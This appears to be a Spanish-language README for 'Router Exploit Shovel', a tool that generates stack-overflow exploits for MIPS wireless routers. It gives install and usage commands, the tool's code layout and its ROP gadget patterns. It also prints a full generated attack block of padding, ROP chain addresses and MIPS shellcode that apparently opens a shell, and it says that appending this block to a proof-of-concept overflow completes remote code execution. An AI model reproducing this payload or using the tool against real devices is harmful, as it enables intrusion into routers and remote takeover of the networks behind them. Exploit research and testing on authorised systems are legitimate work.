Pala de Explotación de Routers

Generación Automatizada de Aplicaciones para Tipos de Desbordamiento de Pila en Routers Inalámbricos

Router exploits shovel es una herramienta automatizada de generación de aplicaciones para tipos de desbordamiento de pila en routers inalámbricos. La herramienta implementa las funciones clave de los exploits, puede adaptarse a la longitud del relleno de datos en la pila, generar la cadena ROP, generar el shellcode codificado y, finalmente, ensamblarlos en un código de ataque completo. El usuario solo necesita adjuntar el código de ataque a la ubicación de desbordamiento del POC para completar el Exploit de la ejecución remota de código.

La herramienta soporta MIPSel y MIPSeb. Se ejecuta en Ubuntu 16.04 de 64 bits.

Instalación

Asegúrate de tener git, python3 y setuptools instalados. Descarga el código fuente desde nuestro Github:

$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

Configura el entorno e instala las dependencias:

$ cd Router-Exploit-Shovel/
$ python3 setup.py install

Uso

$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]

Options:
  -h, --help            show this help message and exit
  -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
                        input binary file path
  --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
                        input binary base address,default=0x00400000
  -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
                        input libc file path
  --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
                        input library base address,default=0x2aae2000
  -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
                        input overflow function point offset
  --arch=ARCH           input architecture of elf files,[little] or
                        [big],default=big

Por ejemplo:

$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Capturas de pantalla

Estructura del código

--Router_Exploit_Shovel.py       #Startup script
--databases/                     
  |---ROP_patterns/              #YAML file of ROP patterns        
  |---shellcodes/                #YAML file of shellcodes
--example/                       #Nday vulnerabilities, full report and exploit code
--results/                       
  |---ROP_gadgets/               #ROP gadgets generating results       
  |---attackBlock.txt            #Attack block generating results
--ropper/                        #Modified ropper module to get all gadgets
--filebytes/                     #Filebytes module to load ELFs
--router_exp_shovel/             #Main module         
  |---offset_calculator/         #Calculate padding size 
  |---ROP_maker/                 #Make ROP chains
  |---shellcode_maker/           #Make shellcodes
--qemuTestEnvironment/           #MIPS run-environment for router exploitation

Generación de cadena ROP

Esta herramienta utiliza patrones para generar cadenas ROP. Extrae patrones de procedimientos comunes de explotación ROP. Utiliza coincidencias de expresiones regulares para encontrar gadgets disponibles para llenar las cadenas. La codificación Base64 es para evitar escapes de caracteres duplicados. Por ejemplo:

chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44
gadget1: KC4qKW1vdmUgXCR0OVwsIFwkczE7IGx3IFwkcmFcLCAweDI0XChcJHNwXCk7IGx3IFwkczFcLCAweDIwXChcJHNwXCk7IGx3IFwkczBcLCAweDFjXChcJHNwXCk7KC4qKTsganIgXCR0OTsgYWRkaXUgXCRzcFwsIFwkc3BcLCAweDI4Ow==
#gadget1: (.*)move \\$t9\\, \\$s1; lw \\$ra\\, 0x24\\(\\$sp\\); lw \\$s1\\, 0x20\\(\\$sp\\); lw \\$s0\\, 0x1c\\(\\$sp\\);(.*); jr \\$t9; addiu \\$sp\\, \\$sp\\, 0x28; 
gadget2: KC4qKWFkZGl1IFwkYTBcLCBcJHplcm9cLCAxOyBtb3ZlIFwkdDlcLCBcJHMxOyBqYWxyIFwkdDk7
#gadget2: (.*)addiu \\$a0\\, \\$zero\\, 1; move \\$t9\\, \\$s1; jalr \\$t9;
call_code: KC4qKW1vdmUgXCR0OVwsIFwkczI7IGphbHIgXCR0OTs=
#call_code: (.*)move \\$t9\\, \\$s2; jalr \\$t9;
stack_gadget: KC4qKWFkZGl1IFwkczJcLCBcJHNwXCwgMHgxODsoLiopbW92ZSBcJHQ5XCwgXCRzMDsgamFsciBcJHQ5Ow==
#stack_gadget: (.*)addiu \\$s2\\, \\$sp\\, 0x18;(.*)move \\$t9\\, \\$s0; jalr \\$t9;

Bloques de ataque

Puedes obtener bloques de ataque generados en results/attackBlocks.txt. Por ejemplo:

attackBlock = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2a\xb3\x7c\x60\x2a\xb2\xbd\xfcBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2a\xb3\x5c\xa0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x2a\xb0\x09\x38DDDD\x2a\xaf\x76\x68\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x05\x4b\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1\x02\x2a\x18\x26\xae\x43\xff\xc1\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\x7a\x69\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"

Dependencias

Ropper:Una herramienta increíble para volcar información binaria y generar cadenas ROP.https://github.com/sashs/Ropper
filebytes:Librería para leer y editar archivos en ELF, PE, MachO y OAT.https://scoding.de/filebytes-introduction
yaml:YAML no es un lenguaje de marcado.https://yaml.org/
optparse:Analizador de opciones de línea de comandos.https://docs.python.org/3/library/optparse.html
Capstone:marco de desensamblaje.http://www.capstone-engine.org/
re:módulo de expresiones regulares.

Más Populares

Router-Exploit-Shovel